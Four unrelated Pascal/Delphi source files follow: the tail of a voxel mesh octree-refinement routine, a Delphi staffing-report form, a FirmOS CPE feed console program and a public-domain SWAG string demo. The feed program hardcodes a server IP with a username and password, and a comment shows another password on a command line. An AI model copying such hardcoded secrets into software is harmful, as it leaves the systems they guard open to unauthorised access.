GlobalVars.MeshFile.Add('Region: Left bottom front, Allowed Faces: ' + IntToStr(_AllowedFaces) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[0,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[0,0,2]) + ',' + IntToStr(_NeighbourVertexIDs[0,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[0,1,2]) + ',' + IntToStr(_NeighbourVertexIDs[1,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,0,2]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,2]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[0,0,1],_NeighbourVertexIDs[0,0,2],_NeighbourVertexIDs[0,1,1],_NeighbourVertexIDs[0,1,2],_NeighbourVertexIDs[1,0,1],_NeighbourVertexIDs[1,0,2],_NeighbourVertexIDs[1,1,1], _NeighbourVertexIDs[1,1,2],_AllowedFaces,xVM,yVM,zVM+1,_TriangleList,_QuadList,_FaceVerifier,GetColourRefinement(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[1]));
// (0,1,0) -> (1,2,1), left top back side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Left top back, Allowed Faces: ' + IntToStr(_AllowedFaces) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[0,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[0,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[0,2,0]) + ',' + IntToStr(_NeighbourVertexIDs[0,2,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,1]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[0,1,0],_NeighbourVertexIDs[0,1,1],_NeighbourVertexIDs[0,2,0],_NeighbourVertexIDs[0,2,1],_NeighbourVertexIDs[1,1,0],_NeighbourVertexIDs[1,1,1],_NeighbourVertexIDs[1,2,0], _NeighbourVertexIDs[1,2,1],_AllowedFaces,xVM,yVM+1,zVM,_TriangleList,_QuadList,_FaceVerifier,GetColourRefinement(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[2]));
// (0,1,1) -> (1,2,2), left top front side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Left top front, Allowed Faces: ' + IntToStr(_AllowedFaces) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[0,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[0,1,2]) + ',' + IntToStr(_NeighbourVertexIDs[0,2,1]) + ',' + IntToStr(_NeighbourVertexIDs[0,2,2]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,2]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,2]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[0,1,1],_NeighbourVertexIDs[0,1,2],_NeighbourVertexIDs[0,2,1],_NeighbourVertexIDs[0,2,2],_NeighbourVertexIDs[1,1,1],_NeighbourVertexIDs[1,1,2],_NeighbourVertexIDs[1,2,1], _NeighbourVertexIDs[1,2,2],_AllowedFaces,xVM,yVM+1,zVM+1,_TriangleList,_QuadList,_FaceVerifier,GetColourRefinement(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[3]));
// (1,0,0) -> (2,1,1), right bottom back side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Right bottom back, Allowed Faces: ' + IntToStr(_AllowedFaces) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[1,0,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,0,0]) + ',' + IntToStr(_NeighbourVertexIDs[2,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,1]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[1,0,0],_NeighbourVertexIDs[1,0,1],_NeighbourVertexIDs[1,1,0],_NeighbourVertexIDs[1,1,1],_NeighbourVertexIDs[2,0,0],_NeighbourVertexIDs[2,0,1],_NeighbourVertexIDs[2,1,0], _NeighbourVertexIDs[2,1,1],_AllowedFaces,xVM+1,yVM,zVM,_TriangleList,_QuadList,_FaceVerifier,GetColourRefinement(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[4]));
// (1,0,1) -> (2,1,2), right bottom front side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Right bottom front, Allowed Faces: ' + IntToStr(_AllowedFaces) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[1,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,0,2]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,2]) + ',' + IntToStr(_NeighbourVertexIDs[2,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,0,2]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,2]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[1,0,1],_NeighbourVertexIDs[1,0,2],_NeighbourVertexIDs[1,1,1],_NeighbourVertexIDs[1,1,2],_NeighbourVertexIDs[2,0,1],_NeighbourVertexIDs[2,0,2],_NeighbourVertexIDs[2,1,1], _NeighbourVertexIDs[2,1,2],_AllowedFaces,xVM+1,yVM,zVM+1,_TriangleList,_QuadList,_FaceVerifier,GetColourRefinement(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[5]));
// (1,1,0) -> (2,2,1), right top back side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Right top back, Allowed Faces: ' + IntToStr(_AllowedFaces) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[1,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,2,0]) + ',' + IntToStr(_NeighbourVertexIDs[2,2,1]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[1,1,0],_NeighbourVertexIDs[1,1,1],_NeighbourVertexIDs[1,2,0],_NeighbourVertexIDs[1,2,1],_NeighbourVertexIDs[2,1,0],_NeighbourVertexIDs[2,1,1],_NeighbourVertexIDs[2,2,0], _NeighbourVertexIDs[2,2,1],_AllowedFaces,xVM+1,yVM+1,zVM,_TriangleList,_QuadList,_FaceVerifier,GetColourRefinement(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[6]));
// (1,1,1) -> (2,2,2), right top front side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Right top front, Allowed Faces: ' + IntToStr(_AllowedFaces) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,2]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,2]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,2]) + ',' + IntToStr(_NeighbourVertexIDs[2,2,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,2,2]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[1,1,1],_NeighbourVertexIDs[1,1,2],_NeighbourVertexIDs[1,2,1],_NeighbourVertexIDs[1,2,2],_NeighbourVertexIDs[2,1,1],_NeighbourVertexIDs[2,1,2],_NeighbourVertexIDs[2,2,1], _NeighbourVertexIDs[2,2,2],_AllowedFaces,xVM+1,yVM+1,zVM+1,_TriangleList,_QuadList,_FaceVerifier,GetColourRefinement(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[7]));
end;
procedure CRefinementTrianglesSupporter.AddSurfaceFacesFromRegions(const _Voxel : TVoxelSection; const _Palette: TPalette; var _NeighbourVertexIDs: T3DIntGrid; var _TriangleList: CTriangleList; var _QuadList: CQuadList; var _FaceVerifier: CVolumeFaceVerifier; _x, _y, _z, _AllowedFaces, _VUnit: integer);
const
FaceConfigLimits: array[0..7] of integer = (21,22,25,26,37,38,41,42);
FaceColorConfig: array[0..7] of byte = (7,8,5,6,24,25,22,23);
var
xVM,yVM,zVM: integer;
V : TVoxelUnpacked;
begin
xVM := _x * _VUnit;
yVM := _y * _VUnit;
zVM := _z * _VUnit;
_Voxel.GetVoxel(_x,_y,_z,v);
// We'll now add the refinement zones, subdividing the original region in
// 8, like an octree.
// (0,0,0) -> (1,1,1), left bottom back side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Left bottom back, Allowed Faces: ' + IntToStr(_AllowedFaces) + '//' + IntToStr(_AllowedFaces or FaceConfigLimits[0]) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[0,0,0]) + ',' + IntToStr(_NeighbourVertexIDs[0,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[0,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[0,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,0,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[0,0,0],_NeighbourVertexIDs[0,0,1],_NeighbourVertexIDs[0,1,0],_NeighbourVertexIDs[0,1,1],_NeighbourVertexIDs[1,0,0],_NeighbourVertexIDs[1,0,1],_NeighbourVertexIDs[1,1,0], _NeighbourVertexIDs[1,1,1],_AllowedFaces or FaceConfigLimits[0],xVM,yVM,zVM,_TriangleList,_QuadList,_FaceVerifier,GetColourSurface(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[0]));
// (0,0,1) -> (1,1,2), left bottom front side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Left bottom front, Allowed Faces: ' + IntToStr(_AllowedFaces) + '//' + IntToStr(_AllowedFaces or FaceConfigLimits[1]) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[0,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[0,0,2]) + ',' + IntToStr(_NeighbourVertexIDs[0,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[0,1,2]) + ',' + IntToStr(_NeighbourVertexIDs[1,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,0,2]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,2]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[0,0,1],_NeighbourVertexIDs[0,0,2],_NeighbourVertexIDs[0,1,1],_NeighbourVertexIDs[0,1,2],_NeighbourVertexIDs[1,0,1],_NeighbourVertexIDs[1,0,2],_NeighbourVertexIDs[1,1,1], _NeighbourVertexIDs[1,1,2],_AllowedFaces or FaceConfigLimits[1],xVM,yVM,zVM+1,_TriangleList,_QuadList,_FaceVerifier,GetColourSurface(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[1]));
// (0,1,0) -> (1,2,1), left top back side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Left top back, Allowed Faces: ' + IntToStr(_AllowedFaces) + '//' + IntToStr(_AllowedFaces or FaceConfigLimits[2]) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[0,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[0,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[0,2,0]) + ',' + IntToStr(_NeighbourVertexIDs[0,2,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,1]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[0,1,0],_NeighbourVertexIDs[0,1,1],_NeighbourVertexIDs[0,2,0],_NeighbourVertexIDs[0,2,1],_NeighbourVertexIDs[1,1,0],_NeighbourVertexIDs[1,1,1],_NeighbourVertexIDs[1,2,0], _NeighbourVertexIDs[1,2,1],_AllowedFaces or FaceConfigLimits[2],xVM,yVM+1,zVM,_TriangleList,_QuadList,_FaceVerifier,GetColourSurface(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[2]));
// (0,1,1) -> (1,2,2), left top front side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Left top front, Allowed Faces: ' + IntToStr(_AllowedFaces) + '//' + IntToStr(_AllowedFaces or FaceConfigLimits[3]) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[0,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[0,1,2]) + ',' + IntToStr(_NeighbourVertexIDs[0,2,1]) + ',' + IntToStr(_NeighbourVertexIDs[0,2,2]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,2]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,2]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[0,1,1],_NeighbourVertexIDs[0,1,2],_NeighbourVertexIDs[0,2,1],_NeighbourVertexIDs[0,2,2],_NeighbourVertexIDs[1,1,1],_NeighbourVertexIDs[1,1,2],_NeighbourVertexIDs[1,2,1], _NeighbourVertexIDs[1,2,2],_AllowedFaces or FaceConfigLimits[3],xVM,yVM+1,zVM+1,_TriangleList,_QuadList,_FaceVerifier,GetColourSurface(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[3]));
// (1,0,0) -> (2,1,1), right bottom back side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Right bottom back, Allowed Faces: ' + IntToStr(_AllowedFaces) + '//' + IntToStr(_AllowedFaces or FaceConfigLimits[4]) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[1,0,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,0,0]) + ',' + IntToStr(_NeighbourVertexIDs[2,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,1]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[1,0,0],_NeighbourVertexIDs[1,0,1],_NeighbourVertexIDs[1,1,0],_NeighbourVertexIDs[1,1,1],_NeighbourVertexIDs[2,0,0],_NeighbourVertexIDs[2,0,1],_NeighbourVertexIDs[2,1,0], _NeighbourVertexIDs[2,1,1],_AllowedFaces or FaceConfigLimits[4],xVM+1,yVM,zVM,_TriangleList,_QuadList,_FaceVerifier,GetColourSurface(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[4]));
// (1,0,1) -> (2,1,2), right bottom front side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Right bottom front, Allowed Faces: ' + IntToStr(_AllowedFaces) + '//' + IntToStr(_AllowedFaces or FaceConfigLimits[5]) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[1,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,0,2]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,2]) + ',' + IntToStr(_NeighbourVertexIDs[2,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,0,2]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,2]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[1,0,1],_NeighbourVertexIDs[1,0,2],_NeighbourVertexIDs[1,1,1],_NeighbourVertexIDs[1,1,2],_NeighbourVertexIDs[2,0,1],_NeighbourVertexIDs[2,0,2],_NeighbourVertexIDs[2,1,1], _NeighbourVertexIDs[2,1,2],_AllowedFaces or FaceConfigLimits[5],xVM+1,yVM,zVM+1,_TriangleList,_QuadList,_FaceVerifier,GetColourSurface(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[5]));
// (1,1,0) -> (2,2,1), right top back side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Right top back, Allowed Faces: ' + IntToStr(_AllowedFaces) + '//' + IntToStr(_AllowedFaces or FaceConfigLimits[6]) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[1,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,2,0]) + ',' + IntToStr(_NeighbourVertexIDs[2,2,1]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[1,1,0],_NeighbourVertexIDs[1,1,1],_NeighbourVertexIDs[1,2,0],_NeighbourVertexIDs[1,2,1],_NeighbourVertexIDs[2,1,0],_NeighbourVertexIDs[2,1,1],_NeighbourVertexIDs[2,2,0], _NeighbourVertexIDs[2,2,1],_AllowedFaces or FaceConfigLimits[6],xVM+1,yVM+1,zVM,_TriangleList,_QuadList,_FaceVerifier,GetColourSurface(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[6]));
// (1,1,1) -> (2,2,2), right top front side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Right top front, Allowed Faces: ' + IntToStr(_AllowedFaces) + '//' + IntToStr(_AllowedFaces or FaceConfigLimits[7]) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,2]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,2,2]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,1,2]) + ',' + IntToStr(_NeighbourVertexIDs[2,2,1]) + ',' + IntToStr(_NeighbourVertexIDs[2,2,2]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[1,1,1],_NeighbourVertexIDs[1,1,2],_NeighbourVertexIDs[1,2,1],_NeighbourVertexIDs[1,2,2],_NeighbourVertexIDs[2,1,1],_NeighbourVertexIDs[2,1,2],_NeighbourVertexIDs[2,2,1], _NeighbourVertexIDs[2,2,2],_AllowedFaces or FaceConfigLimits[7],xVM+1,yVM+1,zVM+1,_TriangleList,_QuadList,_FaceVerifier,GetColourSurface(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[7]));
end;
end.
|
unit uShtatReportNo1Form;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, uFControl, uLabeledFControl, uDateControl, StdCtrls, Buttons,
uSpravControl, FIBDatabase, pFIBDatabase, DB, FIBDataSet, pFIBDataSet,
frxClass, frxDBSet, frxExportPDF, frxExportRTF, frxExportXLS,
frxExportHTML, frxDesgn;
type
TfmShtatReportNo1 = class(TForm)
OkButton: TBitBtn;
CancelButton: TBitBtn;
From_Date: TqFDateControl;
ID_SR: TqFSpravControl;
Id_Level: TqFSpravControl;
DB: TpFIBDatabase;
ReadTransaction: TpFIBTransaction;
DefTransaction: TpFIBTransaction;
LevelsSelect: TpFIBDataSet;
LevelsSelectID_LEVEL: TFIBBCDField;
LevelsSelectLEVEL_ORDER: TFIBIntegerField;
LevelsSelectLEVEL_NAME: TFIBStringField;
ReportDS: TpFIBDataSet;
frxDBDataset1: TfrxDBDataset;
frxXLSExport1: TfrxXLSExport;
frxRTFExport1: TfrxRTFExport;
frxPDFExport1: TfrxPDFExport;
frxHTMLExport1: TfrxHTMLExport;
Smeta: TqFSpravControl;
frxReport: TfrxReport;
frxDesigner1: TfrxDesigner;
procedure Id_LevelOpenSprav(Sender: TObject; var Value: Variant;
var DisplayText: string);
procedure ID_SROpenSprav(Sender: TObject; var Value: Variant;
var DisplayText: string);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure OkButtonClick(Sender: TObject);
procedure SmetaOpenSprav(Sender: TObject; var Value: Variant;
var DisplayText: string);
procedure FormCreate(Sender: TObject);
procedure ID_SRKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
private
DesignReport: Boolean;
public
end;
var
fmShtatReportNo1: TfmShtatReportNo1;
implementation
{$R *.dfm}
uses uSelectForm, qFTools, uCommonSp, GlobalSPR;
procedure TfmShtatReportNo1.Id_LevelOpenSprav(Sender: TObject;
var Value: Variant; var DisplayText: string);
begin
if qSelect(LevelsSelect) then
begin
Value := LevelsSelect['Id_Level'];
DisplayText := IntToStr(LevelsSelect['Level_Order']) + '. ' +
LevelsSelect['Level_Name'];
end;
end;
procedure TfmShtatReportNo1.ID_SROpenSprav(Sender: TObject;
var Value: Variant; var DisplayText: string);
var
sp: TSprav;
begin
// создать справочник
sp := GetSprav('ASUP\ShtatDoc');
if sp <> nil then
begin
// заполнить входные параметры
with sp.Input do
begin
Append;
FieldValues['DBHandle'] := Integer(DB.Handle);
// модальный показ
FieldValues['ShowStyle'] := 0;
// единичная выборка
FieldValues['Select'] := 1;
Post;
end;
// показать справочник и проанализировать результат
sp.Show;
if (sp.Output <> nil) and not sp.Output.IsEmpty then
begin
Value := sp.Output['Id_SR'];
DisplayText := sp.Output['Name'];
end;
sp.Free;
end;
end;
procedure TfmShtatReportNo1.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
qfAutoSaveIntoRegistry(Self);
end;
procedure TfmShtatReportNo1.FormKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_F12 then
begin
ShowMessage('DesignReport enabled');
DesignReport := True;
end;
end;
procedure TfmShtatReportNo1.OkButtonClick(Sender: TObject);
begin
ReportDS.Close;
ReportDS.ParamByName('Id_SR').AsInteger := ID_SR.Value;
ReportDS.ParamByName('Id_Level').AsInteger := ID_Level.Value;
ReportDS.ParamByName('From_Date').AsDate := From_Date.Value;
ReportDS.ParamByName('Filter_Smeta').AsVariant := Smeta.Value;
ReportDS.Open;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+'Reports\UP\ShtatReportNo1.fr3');
if DesignReport then frxReport.DesignReport
else frxReport.ShowReport;
end;
procedure TfmShtatReportNo1.SmetaOpenSprav(Sender: TObject;
var Value: Variant; var DisplayText: string);
var
id: variant;
begin
id := GlobalSPR.GetSmets(Owner, DB.Handle, Date, psmSmet);
if (VarArrayDimCount(id) > 0) and (id[0] <> Null) then
begin
Value := id[0];
DisplayText := IntToStr(id[3]) + '. ' + id[2];
end;
end;
procedure TfmShtatReportNo1.FormCreate(Sender: TObject);
begin
qfAutoLoadFromRegistry(Self);
end;
procedure TfmShtatReportNo1.ID_SRKeyUp(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_F12 then DesignReport := True;
end;
end.
|
program cpeconsole;
{
(§LIC)
(c) Autor,Copyright
Dipl.Ing.- Helmut Hartl, Dipl.Ing.- Franz Schober, Dipl.Ing.- Christian Koch
FirmOS Business Solutions GmbH
www.openfirmos.org
New Style BSD Licence (OSI)
Copyright (c) 2001-2009, FirmOS Business Solutions GmbH
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the <FirmOS Business Solutions GmbH> nor the names
of its contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
(§LIC_END)
}
{$mode objfpc}{$H+}
{$LIBRARYPATH ../../lib}
// ./fre_testdatafeed -U root -H 10.220.251.10 -u feeder@system -p a1234
// lazarus+debugger: => ./fre_testdatafeed -U root -H 10.220.251.10 -D
{.$DEFINE FOS_WITH_CONSOLE}
uses
//cmem,
{$IFDEF UNIX}
cthreads,
{$ENDIF}
Classes, SysUtils, CustApp,
FRE_SYSTEM,FOS_DEFAULT_IMPLEMENTATION,FOS_TOOL_INTERFACES,FOS_FCOM_TYPES,FRE_APS_INTERFACE,FRE_DB_INTERFACE,
FRE_DB_CORE,
FRE_DB_EMBEDDED_IMPL,
FRE_CONFIGURATION,FRE_BASE_SERVER,
fos_cpefeed_client,fre_basefeed_app;
{$I fos_version_helper.inc}
type
TFRE_CPECONSOLE_FEED = class(TFRE_BASEDATA_FEED)
private
cBannerHeader : string;
cBannerVersion : string;
cBannerCopyright : string;
cInfoHeader : string;
FTerminateGUI : Boolean;
public
procedure MyRunMethod; override;
procedure WriteVersion; override;
end;
procedure TFRE_CPECONSOLE_FEED.MyRunMethod;
begin
inherited MyRunMethod;
end;
procedure TFRE_CPECONSOLE_FEED.WriteVersion;
begin
writeln(GFOS_VHELP_GET_VERSION_STRING);
end;
var
Application : TFRE_CPECONSOLE_FEED;
begin
cFRE_MWS_IP:='10.54.3.246';
cFRE_Feed_User:='cpefeeder@system';
cFRE_Feed_Pass:='cpefeeder';
Application:=TFRE_CPECONSOLE_FEED.Create(nil,TFRE_CPE_FEED_CLIENT.Create);
Application.Run;
Application.Free;
end.
|
(*
Category: SWAG Title: STRING HANDLING ROUTINES
Original name: 0107.PAS
Description: String Arrays
Author: CHRISTOPHER CHANDRA
Date: 05-26-95 22:58
*)
{ Updated STRINGS.SWG on May 26, 1995 }
{
OK, this is the working version of the old one.
I tested it and it worked.
Insert_Arr2Strs procedure, and a little demo on how to use it
by Christopher J. Chandra - 1/25/95
PUBLIC DOMAIN CODE
}
uses crt;
type str_array=array[1..128] of char;
str127=string[127];
procedure insert_arr2strs(s:str_array;var r1,r2:str127);
var cnt,cnt2,eidx:integer;
begin
cnt:=1;
eidx:=length(r1);
r2:='';
{assuming that the array is a NULL terminated string...}
while ((s[cnt]<>#0) and (cnt<128) and (eidx+cnt<128)) do
begin
r1[eidx+cnt]:=s[cnt]; {copy the array into the 1st result string}
inc(cnt);
end;
r1[0]:=chr(eidx+cnt-1); {store the string length}
{if any left over, do ...}
cnt2:=1;
while ((s[cnt]<>#0) and (cnt<129)) do
begin
r2[cnt2]:=s[cnt]; {copy the left over into the 2nd result string}
inc(cnt);
inc(cnt2);
end;
r2[0]:=chr(cnt2-1); {store the string length}
end;
var myarray:str_array;
mystr1,mystr2:str127;
cnt:integer;
s:string;
begin
clrscr;
s:='Ain''t that a nice song? OK, here is another one ... ';
for cnt:=1 to length(s) do myarray[cnt]:=s[cnt];myarray[cnt+1]:=#0;
mystr1:='London Bridge is falling down, falling'+
' down, falling down. London Bridge is'+
' falling down, my fair lady. WHOOSH! ';
mystr2:='';
textcolor(12);writeln('Before insertion ...');
textcolor(10);write('String 1:');
textcolor(14);writeln('"',mystr1,'"');
textcolor(10);write('String 2:');
textcolor(14);writeln('"',mystr2,'"');writeln;
textcolor(11);write('String Array to be inserted:');
textcolor(13);writeln('"',s,'"');writeln;
insert_arr2strs(myarray,mystr1,mystr2);
textcolor(12);writeln('After insertion ... using String 2 for leftovers');
textcolor(10);write('String 1:');
textcolor(14);writeln('"',mystr1,'"');
textcolor(10);write('String 2:');
textcolor(14);writeln('"',mystr2,'"');writeln;
s:='One Little Two Little Three Little Indians. '+
'Four Little Five Little Six Little Indians. '+
'Seven Little Eight Little ';
for cnt:=1 to length(s) do myarray[cnt]:=s[cnt];myarray[cnt+1]:=#0;
textcolor(11);write('String Array to be inserted:');
textcolor(13);writeln('"',s,'"');writeln;
insert_arr2strs(myarray,mystr2,mystr1);
textcolor(12);writeln('After insertion ... using String 1 for leftovers');
textcolor(10);write('String 1:');
textcolor(14);writeln('"',mystr1,'"');
textcolor(10);write('String 2:');
textcolor(14);writeln('"',mystr2,'"');writeln;
textcolor(12);writeln('End of demo. :)');
end.
